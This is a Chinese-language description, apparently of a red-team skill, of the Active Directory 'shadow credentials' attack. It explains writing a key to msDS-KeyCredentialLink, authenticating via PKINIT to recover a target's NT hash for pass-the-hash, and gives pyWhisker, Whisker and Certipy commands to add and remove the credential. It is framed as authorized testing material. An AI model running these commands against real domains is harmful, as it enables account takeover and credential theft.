Anthropic-Cybersecurity-Skills 是做什么的?
通过使用 pyWhisker、Whisker 或 Certipy 将攻击者控制的公钥写入 msDS-KeyCredentialLink(影子凭据),接管 Active Directory 账户,然后通过 PKINIT 进行身份验证以恢复目标的 NT 哈希值,而无需重置密码。当 BloodHound 显示对目标具有 GenericWrite/GenericAll/AddKeyCredentialLink 权限时,作为更隐秘的替代 ForceChangePassword 方法使用,仅限授权的红队演练。
工作原理
该技能实现了“影子凭据”攻击,这是一种 Active Directory 权限提升技术。攻击者利用对目标账户(用户或计算机)的写入权限,向其 msDS-KeyCredentialLink 属性添加一个公钥。然后,攻击者可以通过 PKINIT 协议从该私钥派生凭据,并请求 Kerberos 票证。成功认证后,攻击者可以获得目标的 NT 哈希值,从而在不触发密码重置事件的情况下完全接管账户。
使用前提
- 对目标账户拥有 GenericWrite、GenericAll 或 AddKeyCredentialLink 权限。
- 目标域控制器支持 PKINIT 认证(Windows Server 2012 及以上版本均支持)。
- 必须在授权的红队演练或安全性评估中使用。
- 安装并配置了以下工具之一:
pyWhisker、Whisker(PowerShell) 或Certipy。
典型使用场景
- 运行 BloodHound 并发现攻击路径显示
GenericWrite或AddKeyCredentialLink权限。 - 使用本技能向目标添加影子凭据。
- 通过 PKINIT 认证并提取 NT 哈希值。
- 使用获取的哈希值进行 pass-the-hash 或其他横向移动操作。
支持的平台
- 操作系统:Linux、Windows(依赖 PowerShell 工具)
- 工具:pyWhisker、Whisker、Certipy
- 环境:Active Directory 域环境
安全注意事项
- 仅用于授权的安全测试。
- 此技术比 ForceChangePassword 更隐蔽,因为它不修改用户密码,但可能留下安全日志(事件 ID 5136)。
- 测试完成后,务必清除添加的影子凭据以恢复对象的原始状态。
示例命令
使用 pyWhisker(Python)
python3 pywhisker.py -d "domain.local" -u "attacker" -p "password" --target "target_user" --action "add" --filename "shadow"
使用 Whisker(PowerShell)
Whisker.exe add /target:target_user /domain:domain.local /dc:dc01.domain.local /path:C:\path\to\output
使用 Certipy
certipy shadow add -u '[email protected]' -p 'password' -account 'target_user'
清除影子凭据
使用 pyWhisker
python3 pywhisker.py -d "domain.local" -u "attacker" -p "password" --target "target_user" --action "remove" --device-id "<device_id>"
使用 Whisker
Whisker.exe remove /target:target_user /domain:domain.local /dc:dc01.domain.local /deviceid:<device_id>
使用 Certipy
certipy shadow remove -u '[email protected]' -p 'password' -account 'target_user' -device-id '<device_id>'